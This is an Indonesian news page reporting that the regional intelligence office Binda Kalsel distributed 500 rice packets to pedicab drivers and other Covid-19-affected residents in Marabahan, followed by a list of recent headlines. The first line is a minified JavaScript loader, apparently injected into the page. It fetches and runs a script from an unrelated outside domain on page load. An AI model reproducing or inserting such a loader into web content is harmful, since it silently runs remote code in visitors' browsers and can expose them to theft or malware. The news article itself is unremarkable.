(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Binda Kalsel Berbagi 500 Nasi Bungkus di Marabahan


KANALKALIMANTAN.COM, MARABAHAN – Bukan hanya menjaga keamanan negara saja. Badan Intelijen Negara Daerah (Binda) Kalsel turun tangan membantu beban masyarakat ditengah pandemi Covid-19. Bagikan nasi bungkus di Marabahan, Selasa (19/5/2020) siang.

Bentuk nyata meringankan beban masyarakat di tengah pandemi Covid-19 ditunjukkan Binda Kalsel. Meringankan beban tukang becak, juru mudi kelotok, dan pengguna jalan di kota Marabahan.

Pembagian nasi bungkus ini disambut hangat warga Marabahan. Salah satunya Hermasyah, tukang becak di Marabahan. Dia mengaku berterimakasih atas bantuan ini. Dirinya yang benar-benar terdampak Covid-19, merasa sangat terbantu dengan bantuan ini. “Mata pencarian kami saat ini hilang,” akunya.

Hermansyah menambahkan, matinya mata pencahariannya, mengakibatkan sulitnya mencari sesuap nasi. “Kami sangat bersyukur dengan adanya bantuan nasi kotak ini,” senangnya.

Koordinator penyalur bantuan dari Binda Kalsel membagikan nasi bungkus gratis di Marabahan. Foto : rdy

Hal serupa juga diungkapkan Eni Rumania. Pemilik warung makan di Jalan Jenderal Sudirman Marabahan ini, mengaku terbantu dengan Binda Kalsel. Makanan mereka yang sepi pembeli, habis dibeli Binda Kalsel untuk dibagikan. “Program ini sangat bermanfaat bagi kami, selain dapat menambah pemasukan pendapatan keluarga kami, juga membantu masyarakat lainnya,” katanya.

Sementara itu Taufiq Yasin Rosyadi selaku koordinator penyalur bantuan ini, mengaku apa yang dilakukan Binda Kalsel diperuntukkan untuk meringankan beban masyarakat yang terdampak Covid-19. “Rencananya kegiatan ini akan kami lakukan setiap seminggu sekali selama PSBB di Batola berlaku. Mohon doanya semoga bisa berjalan lancar,” bebernya.

Rosyadi menambahkan, nasi bungkus ini dibagikan kepada tukang becak, pejalan kaki, tuna wisma, pejalan kaki, juri mudi kelotok dan pengguna jalan perempatan lampu merah Marabahan. “Kami prihatin terhadap mereka yang terdampak Covid-19. Terutama paman-paman tukang becak yang kehilangan mata pencariannya,” katanya. (kanalkalimantan.com/rdy)

Reporter : rdy
Editor : bie

 


Al Ghifari

Recent Posts

Dirjen Ketenagalistrikan Kementerian ESDM ke Balikpapan, Pastikan Kesiapan PLN Jelang Nataru

KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

11 jam ago

Cara Menonaktifkan Aksesibilitas di Smartphone, Akses Mobile Banking BRImo Jadi Makin Nyaman

KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More

13 jam ago

Ide Fresh Bearly Marketing Membranding Bisnismu Lebih Profesional

KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More

14 jam ago

Curah Hujan Tinggi, Waspada Pilih Lokasi Libur Nataru di Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More

15 jam ago

Libur Nataru, Polres Banjarbaru Buka Penitipan Kendaraan Bermotor

KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More

1 hari ago

Gubernur Kalsel Teken Upah Minimun Kabupaten Kota dan Sektoral 2025, Ini Besaran Angkanya

KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More

2 hari ago

This website uses cookies.